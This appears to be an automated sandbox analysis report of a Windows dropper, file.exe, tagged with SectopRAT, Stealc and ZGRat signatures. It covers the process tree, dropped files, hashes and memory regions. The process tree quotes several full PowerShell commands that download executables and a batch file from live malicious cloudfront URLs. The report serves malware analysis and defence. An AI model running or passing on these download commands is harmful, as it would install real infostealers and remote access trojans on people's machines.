Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240412-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/04/2024, 09:05

General

  • Target
    file.exe
  • Size 49KB
  • Sample240426-k2mpssdc2y
  • SHA256 1c6bb4115d8b51391fd600bc70d88a8e9cc9e6406cd7f626087ff4cead341784
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://dsepc5ud74wta.cloudfront.net/load/th.php?c=1000

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=425&c=1000

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=444

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=456

Signatures

  • Detect ZGRat V1 3 IoCs
  • SectopRAT

    SectopRAT is a remote access trojan first seen in November 2019.

  • SectopRAT payload 1 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Blocklisted process makes network request 8 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 43 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 38 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:2224
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c "C:\Users\Admin\AppData\Local\Temp\nsn41DC.tmp\load.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2628
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/th.php?c=1000','stat')"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1732
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=425&c=1000','i1.exe')"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4384
      • C:\Users\Admin\AppData\Local\Temp\i1.exe
        i1.exe /SUB=28381000 /str=one
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2200
        • C:\Users\Admin\AppData\Local\Temp\u1p4.0.exe
          "C:\Users\Admin\AppData\Local\Temp\u1p4.0.exe"
          4⤵
          • Executes dropped EXE
          PID:5024
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 5024 -s 1016
            5⤵
            • Program crash
            PID:4224
        • C:\Users\Admin\AppData\Local\Temp\u1p4.2\run.exe
          "C:\Users\Admin\AppData\Local\Temp\u1p4.2\run.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:3652
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\SysWOW64\cmd.exe
            5⤵
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of WriteProcessMemory
            PID:4836
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
              C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
              6⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:4984
        • C:\Users\Admin\AppData\Local\Temp\u1p4.3.exe
          "C:\Users\Admin\AppData\Local\Temp\u1p4.3.exe"
          4⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Checks SCSI registry key(s)
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of WriteProcessMemory
          PID:2912
          • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
            "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2012
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2200 -s 532
          4⤵
          • Program crash
          PID:1708
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=444', 'i2.bat')"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1120
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=456','i3.exe')"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:816
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 5024 -ip 5024
    1⤵
      PID:492
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 2200 -ip 2200
      1⤵
        PID:4256

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            powershell.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
            • Size 1KB
            • SHA256 e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 18KB
            • SHA256 2df426352af89a4120a633cbb5bfc9d1d79f6e0a2afcc7d1fd6d1a85491c271b
            • MD5 SHA1 SHA512 SSDEEP

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 16KB
            • SHA256 e830a032f2cc93e30c235afc1ff7fa095fbccca8305a24ccc909c07d9d5e7af4
            • MD5 SHA1 SHA512 SSDEEP

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 16KB
            • SHA256 c1ef6ddd816078ef2e8cd45a5010fdd62bfbae31c7bb9e4469462033f26605ca
            • MD5 SHA1 SHA512 SSDEEP

            261c2d90

            • Path C:\Users\Admin\AppData\Local\Temp\261c2d90
            • Size 1.4MB
            • SHA256 9cc195a235418dfdb5608f0f311ec8aa957b3c1c08c1e8ac981951bffd587bf1
            • MD5 SHA1 SHA512 SSDEEP

            __PSScriptPolicyTest_azlpfouc.lgs.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_azlpfouc.lgs.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512

            i1.exe

            • Path C:\Users\Admin\AppData\Local\Temp\i1.exe
            • Size 442KB
            • SHA256 5f302f2c568cfc3bef4f7690b84d15dd58caace21a60f76d807e909ff8f81e5e
            • MD5 SHA1 SHA512 SSDEEP

            INetC.dll

            • Path C:\Users\Admin\AppData\Local\Temp\nsn41DC.tmp\INetC.dll
            • Size 25KB
            • SHA256 85e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9
            • MD5 SHA1 SHA512 SSDEEP

            load.bat

            • Path C:\Users\Admin\AppData\Local\Temp\nsn41DC.tmp\load.bat
            • Size 697B
            • SHA256 70e43edb60c75270e41a167cfc5e6c1b60a0d022b57812560006626c3904353f
            • MD5 SHA1 SHA512

            u1p4.0.exe

            • Path C:\Users\Admin\AppData\Local\Temp\u1p4.0.exe
            • Size 298KB
            • SHA256 8a6721d38d828ce4dbbef786174faf854f366b0bf6f07189033aafa53459a14e
            • MD5 SHA1 SHA512 SSDEEP

            u1p4.1.zip

            • Path C:\Users\Admin\AppData\Local\Temp\u1p4.1.zip
            • Size 3.7MB
            • SHA256 a1dd547a63b256aa6a16871ed03f8b025226f7617e67b8817a08444df077b001
            • MD5 SHA1 SHA512 SSDEEP

            UIxMarketPlugin.dll

            • Path C:\Users\Admin\AppData\Local\Temp\u1p4.2\UIxMarketPlugin.dll
            • Size 1.6MB
            • SHA256 cbcea8f28d8916219d1e8b0a8ca2db17e338eb812431bc4ad0cb36c06fd67f15
            • MD5 SHA1 SHA512 SSDEEP

            bunch.dat

            • Path C:\Users\Admin\AppData\Local\Temp\u1p4.2\bunch.dat
            • Size 1.3MB
            • SHA256 9387488f9d338e211be2cb45109bf590a5070180bc0d4a703f70d3cb3c4e1742
            • MD5 SHA1 SHA512 SSDEEP

            relay.dll

            • Path C:\Users\Admin\AppData\Local\Temp\u1p4.2\relay.dll
            • Size 1.5MB
            • SHA256 7b2db9c88f60ed6dd24b1dec321a304564780fdb191a96ec35c051856128f1ed
            • MD5 SHA1 SHA512 SSDEEP

            run.exe

            • Path C:\Users\Admin\AppData\Local\Temp\u1p4.2\run.exe
            • Size 2.4MB
            • SHA256 a05b592a971fe5011554013bcfe9a4aaf9cfc633bdd1fe3a8197f213d557b8d3
            • MD5 SHA1 SHA512 SSDEEP

            whale.dbf

            • Path C:\Users\Admin\AppData\Local\Temp\u1p4.2\whale.dbf
            • Size 85KB
            • SHA256 b440170853bdb43b66497f701aee2901080326975140b095a1669cb9dee13422
            • MD5 SHA1 SHA512 SSDEEP

            u1p4.3.exe

            • Path C:\Users\Admin\AppData\Local\Temp\u1p4.3.exe
            • Size 4.6MB
            • SHA256 4f07e1095cc915b2d46eb149d1c3be14f3f4b4bd2742517265947fd23bdca5a7
            • MD5 SHA1 SHA512 SSDEEP

            memory/816-113-0x0000000073280000-0x0000000073A30000-memory.dmp

            memory/816-94-0x0000000004D00000-0x0000000004D10000-memory.dmp

            memory/816-93-0x0000000073280000-0x0000000073A30000-memory.dmp

            memory/816-95-0x0000000004D00000-0x0000000004D10000-memory.dmp

            memory/816-105-0x0000000005C80000-0x0000000005FD4000-memory.dmp

            memory/816-107-0x00000000066B0000-0x00000000066FC000-memory.dmp

            memory/816-114-0x0000000004D00000-0x0000000004D10000-memory.dmp

            memory/1120-62-0x0000000073B10000-0x00000000742C0000-memory.dmp

            memory/1120-78-0x00000000069C0000-0x0000000006A0C000-memory.dmp

            memory/1120-91-0x0000000073B10000-0x00000000742C0000-memory.dmp

            memory/1120-65-0x0000000002A30000-0x0000000002A40000-memory.dmp

            memory/1120-66-0x0000000002A30000-0x0000000002A40000-memory.dmp

            memory/1120-76-0x0000000005EB0000-0x0000000006204000-memory.dmp

            memory/1732-18-0x0000000002EF0000-0x0000000002F00000-memory.dmp

            memory/1732-22-0x0000000006020000-0x0000000006086000-memory.dmp

            memory/1732-16-0x0000000002DD0000-0x0000000002E06000-memory.dmp

            memory/1732-34-0x00000000066D0000-0x00000000066EE000-memory.dmp

            memory/1732-20-0x00000000058E0000-0x0000000005F08000-memory.dmp

            memory/1732-17-0x0000000073B10000-0x00000000742C0000-memory.dmp

            memory/1732-21-0x0000000005F50000-0x0000000005F72000-memory.dmp

            memory/1732-19-0x0000000002EF0000-0x0000000002F00000-memory.dmp

            memory/1732-28-0x0000000006090000-0x00000000060F6000-memory.dmp

            memory/1732-40-0x0000000073B10000-0x00000000742C0000-memory.dmp

            memory/1732-37-0x0000000006BC0000-0x0000000006BDA000-memory.dmp

            memory/1732-36-0x0000000007F10000-0x000000000858A000-memory.dmp

            memory/1732-35-0x0000000006720000-0x000000000676C000-memory.dmp

            memory/1732-33-0x0000000006200000-0x0000000006554000-memory.dmp

            memory/2012-292-0x000001E2CDCA0000-0x000001E2CDCAC000-memory.dmp

            memory/2012-291-0x000001E2B5540000-0x000001E2B5550000-memory.dmp

            memory/2012-287-0x00007FFF7C570000-0x00007FFF7D031000-memory.dmp

            memory/2012-293-0x000001E2B5550000-0x000001E2B5564000-memory.dmp

            memory/2012-294-0x000001E2CE120000-0x000001E2CE144000-memory.dmp

            memory/2012-295-0x000001E2B3C20000-0x000001E2B3C2A000-memory.dmp

            memory/2012-297-0x000001E2CE2D0000-0x000001E2CE382000-memory.dmp

            memory/2012-298-0x000001E2CE380000-0x000001E2CE3FA000-memory.dmp

            memory/2012-296-0x000001E2CE290000-0x000001E2CE2BA000-memory.dmp

            memory/2012-288-0x000001E2AFF20000-0x000001E2B3818000-memory.dmp

            memory/2012-299-0x000001E2CE400000-0x000001E2CE462000-memory.dmp

            memory/2012-290-0x000001E2CE000000-0x000001E2CE110000-memory.dmp

            memory/2012-289-0x000001E2CDCF0000-0x000001E2CDD00000-memory.dmp

            memory/2200-210-0x0000000000400000-0x000000000405F000-memory.dmp

            memory/2200-63-0x0000000004260000-0x0000000004360000-memory.dmp

            memory/2200-110-0x0000000004260000-0x0000000004360000-memory.dmp

            memory/2200-108-0x0000000000400000-0x000000000405F000-memory.dmp

            memory/2200-254-0x0000000000400000-0x000000000405F000-memory.dmp

            memory/2200-64-0x00000000041A0000-0x000000000420D000-memory.dmp

            memory/2912-249-0x0000000000A90000-0x0000000000A91000-memory.dmp

            memory/2912-274-0x0000000000400000-0x00000000008AD000-memory.dmp

            memory/2912-286-0x0000000000400000-0x00000000008AD000-memory.dmp

            memory/3652-202-0x000000006ECE0000-0x000000006EE5B000-memory.dmp

            memory/3652-203-0x00007FFF9CED0000-0x00007FFF9D0C5000-memory.dmp

            memory/3652-209-0x000000006ECE0000-0x000000006EE5B000-memory.dmp

            memory/3652-211-0x000000006ECE0000-0x000000006EE5B000-memory.dmp

            memory/4384-57-0x0000000073B10000-0x00000000742C0000-memory.dmp

            memory/4384-53-0x0000000006300000-0x0000000006654000-memory.dmp

            memory/4384-42-0x0000000073B10000-0x00000000742C0000-memory.dmp

            memory/4384-43-0x0000000005340000-0x0000000005350000-memory.dmp

            memory/4836-218-0x000000006ECE0000-0x000000006EE5B000-memory.dmp

            memory/4836-221-0x000000006ECE0000-0x000000006EE5B000-memory.dmp

            memory/4836-219-0x000000006ECE0000-0x000000006EE5B000-memory.dmp

            memory/4836-215-0x00007FFF9CED0000-0x00007FFF9D0C5000-memory.dmp

            memory/4836-213-0x000000006ECE0000-0x000000006EE5B000-memory.dmp

            memory/4984-222-0x000000006D880000-0x000000006EAD4000-memory.dmp

            memory/4984-232-0x0000000004DC0000-0x0000000004E36000-memory.dmp

            memory/4984-228-0x0000000004C30000-0x0000000004CC2000-memory.dmp

            memory/4984-248-0x0000000004D30000-0x0000000004D40000-memory.dmp

            memory/4984-236-0x0000000073280000-0x0000000073A30000-memory.dmp

            memory/4984-233-0x0000000004D50000-0x0000000004DA0000-memory.dmp

            memory/4984-227-0x0000000000700000-0x00000000007C6000-memory.dmp

            memory/4984-229-0x0000000005280000-0x0000000005824000-memory.dmp

            memory/4984-231-0x0000000004F10000-0x00000000050D2000-memory.dmp

            memory/4984-230-0x0000000004D30000-0x0000000004D40000-memory.dmp

            memory/4984-226-0x0000000073280000-0x0000000073A30000-memory.dmp

            memory/5024-89-0x0000000004080000-0x00000000040A7000-memory.dmp

            memory/5024-92-0x0000000000400000-0x000000000403C000-memory.dmp

            memory/5024-88-0x0000000004210000-0x0000000004310000-memory.dmp